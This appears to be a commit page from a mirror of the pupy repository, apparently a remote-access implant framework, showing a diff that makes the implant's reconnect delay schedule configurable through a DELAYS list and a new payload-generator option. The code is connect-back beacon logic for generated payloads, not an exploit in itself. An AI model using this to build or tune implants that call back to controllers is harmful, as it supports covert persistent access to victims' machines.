mirror of https://github.com/n1nj4sec/pupy.git
Make delays list configurable
This commit is contained in:
parent
79abfea9f1
commit
bd3f4a36c1
24
pupy/pp.py
24
pupy/pp.py
|
@ -461,6 +461,7 @@ def safe_obtain(proxy):
|
||||||
|
|
||||||
debug = False
|
debug = False
|
||||||
CONFIGURATION_CID = 0x31337
|
CONFIGURATION_CID = 0x31337
|
||||||
|
DELAYS = [(10, 5, 10), (50, 30, 50), (-1, 150, 300)]
|
||||||
|
|
||||||
LAUNCHER = "connect" # the default launcher to start when no argv
|
LAUNCHER = "connect" # the default launcher to start when no argv
|
||||||
# default launcher arguments
|
# default launcher arguments
|
||||||
|
@ -667,12 +668,14 @@ class BindSlaveService(ReverseSlaveService):
|
||||||
|
|
||||||
|
|
||||||
def get_next_wait(attempt):
|
def get_next_wait(attempt):
|
||||||
if attempt < 10:
|
try:
|
||||||
return random.randint(5, 10)
|
for conf_attempt, delay_min, delay_max in DELAYS:
|
||||||
elif attempt < 50:
|
if conf_attempt == -1 or attempt < conf_attempt:
|
||||||
return random.randint(30, 50)
|
return random.randint(delay_min, delay_max)
|
||||||
else:
|
except Exception, e:
|
||||||
return random.randint(150, 300)
|
logger.exception('get_next_wait %d, %s', attempt, e)
|
||||||
|
|
||||||
|
return random.randint(150, 300)
|
||||||
|
|
||||||
def set_connect_back_host(HOST):
|
def set_connect_back_host(HOST):
|
||||||
import pupy
|
import pupy
|
||||||
|
@ -808,7 +811,9 @@ def main():
|
||||||
finally:
|
finally:
|
||||||
if not sys.terminated:
|
if not sys.terminated:
|
||||||
sleep_secs = get_next_wait(attempt)
|
sleep_secs = get_next_wait(attempt)
|
||||||
logger.info("reconnect in %d seconds...", sleep_secs)
|
logger.info(
|
||||||
|
'Attempt %d - reconnect in %d seconds...',
|
||||||
|
attempt, sleep_secs)
|
||||||
time.sleep(sleep_secs)
|
time.sleep(sleep_secs)
|
||||||
attempt += 1
|
attempt += 1
|
||||||
|
|
||||||
|
@ -845,7 +850,7 @@ def rpyc_loop(launcher):
|
||||||
|
|
||||||
sys.terminate = s.close
|
sys.terminate = s.close
|
||||||
pupy.connected = True
|
pupy.connected = True
|
||||||
|
attempt = 0
|
||||||
s.start()
|
s.start()
|
||||||
sys.terminate = None
|
sys.terminate = None
|
||||||
pupy.connected = False
|
pupy.connected = False
|
||||||
|
@ -860,6 +865,9 @@ def rpyc_loop(launcher):
|
||||||
)
|
)
|
||||||
|
|
||||||
conn.init()
|
conn.init()
|
||||||
|
|
||||||
|
attempt = 0
|
||||||
|
|
||||||
conn.loop()
|
conn.loop()
|
||||||
|
|
||||||
except SystemExit:
|
except SystemExit:
|
||||||
|
|
|
@ -161,6 +161,8 @@ def get_raw_conf(conf, obfuscate=False, verbose=False):
|
||||||
'LAUNCHER={}'.format(repr(conf['launcher'])),
|
'LAUNCHER={}'.format(repr(conf['launcher'])),
|
||||||
'LAUNCHER_ARGS={}'.format(repr(conf['launcher_args'])),
|
'LAUNCHER_ARGS={}'.format(repr(conf['launcher_args'])),
|
||||||
'CONFIGURATION_CID={}'.format(conf.get('cid', 0x31338)),
|
'CONFIGURATION_CID={}'.format(conf.get('cid', 0x31338)),
|
||||||
|
'DELAYS={}'.format(repr(conf.get('delays', [
|
||||||
|
(10, 5, 10), (50, 30, 50), (-1, 150, 300)]))),
|
||||||
'pupy.cid = CONFIGURATION_CID',
|
'pupy.cid = CONFIGURATION_CID',
|
||||||
'debug={}'.format(bool(conf.get('debug', False))),
|
'debug={}'.format(bool(conf.get('debug', False))),
|
||||||
offline_script
|
offline_script
|
||||||
|
@ -510,6 +512,9 @@ def get_parser(base_parser, config):
|
||||||
parser.add_argument('-P', '--packer', default=config.get('gen', 'packer'), help='Use packer when \'client\' output format (default: %(default)s)')
|
parser.add_argument('-P', '--packer', default=config.get('gen', 'packer'), help='Use packer when \'client\' output format (default: %(default)s)')
|
||||||
parser.add_argument('-S', '--shared', default=False, action='store_true', help='Create shared object')
|
parser.add_argument('-S', '--shared', default=False, action='store_true', help='Create shared object')
|
||||||
parser.add_argument('-o', '--output', help="output filename")
|
parser.add_argument('-o', '--output', help="output filename")
|
||||||
|
parser.add_argument('-d', '--delays-list',
|
||||||
|
action='append', type=int, metavar=('<ATTEMPTS>', '<MIN SEC>', '<MAX SEC>'), nargs=3,
|
||||||
|
help='Format: <max attempts> <min delay (sec)> <max delay (sec)>')
|
||||||
|
|
||||||
default_payload_output = '.'
|
default_payload_output = '.'
|
||||||
try:
|
try:
|
||||||
|
@ -607,6 +612,9 @@ def pupygen(args, config):
|
||||||
'cid': hex(random.SystemRandom().getrandbits(32))
|
'cid': hex(random.SystemRandom().getrandbits(32))
|
||||||
}
|
}
|
||||||
|
|
||||||
|
if args.delays_list:
|
||||||
|
conf['delays'] = sorted(args.delays_list, key=lambda x: x[0])
|
||||||
|
|
||||||
outpath=args.output
|
outpath=args.output
|
||||||
|
|
||||||
if not os.path.isdir(args.output_dir):
|
if not os.path.isdir(args.output_dir):
|
||||||
|
|
Loading…
Reference in New Issue